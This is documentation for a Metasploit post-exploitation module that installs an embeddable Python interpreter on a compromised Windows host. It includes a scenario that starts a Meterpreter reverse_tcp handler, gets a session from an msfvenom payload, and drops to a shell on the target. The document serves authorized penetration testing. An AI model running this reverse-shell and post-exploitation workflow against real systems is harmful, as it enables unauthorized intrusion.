Install Python

Overview

This module downloads an embeddable Python3 distribution onto the target file system, granting pentesters access to a lightweight Python interpreter. This module does not require administrative privileges or user interaction with installation prompts. This is useful in cases where the in-memory python interpreter might be limited. If you only want to run a python script while connected, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/python-extension.html.

Tested Version

This module has been tested against:

1. Windows 10, 1903

Verification Steps

1. Start msfconsole
2. Get a Meterpreter session
3. Do: use post/windows/manage/install_python
4. Do: set SESSION #
5. Optional Do: set PYTHON_VERSION
6. Optional Do: set PYTHON_URL
7. Optional Do: set FILE_PATH
8. Do: run

Options

PYTHON_VERSION

Specifies the Python version you would like to download. Downloads Python version 3.8.2 by default.

PYTHON_URL

Specifies the URL used to download the Python embeddable zip file.

FILE_PATH

Specifies the directory to place the Python embeddable zip file. Places Python zip file in the current working directory by default.

CLEANUP

If true, this option will delete the Python zip file as well as its extracted contents. It will also terminate running processes with name 'python', as you cannot delete the Python interpreter if it is actively running.

Scenarios

Get initial access: Create a Meterpreter exe using msfvenom, then transfer it to the target system via web server, SMB, etc. Execute the payload to get a session.

msf > handler -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf >
[*] Sending stage (180291 bytes) to 192.168.13.129
[*] Meterpreter session 1 opened (192.168.13.130:4444 -> 192.168.13.129:50069) at 2020-03-04 20:32:59 -0500

Use the post module to install Python on the target filesystem

msf > use post/windows/manage/install_python
msf post(windows/manage/install_python) > set SESSION 1
SESSION => 1
msf post(windows/manage/install_python) > exploit

[*] Downloading Python embeddable zip from https://www.python.org/ftp/python/3.8.2/python-3.8.2-embed-win32.zip
[+] Compressed size: 1112
[*] Extracting Python zip file: .\python-3.8.2-embed-win32.zip
[+] Compressed size: 952
[*] Ready to execute Python; spawn a command shell and enter:
[+] .\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
[!] Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead
[*] Post module execution completed

Verify Python works

msf post(windows/manage/install_python) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2688 created.
Channel 5 created.
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\buddha\AppData\Local\Temp>.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
Hello, world!

Note that running this Python interpreter interactively may hang your command shell.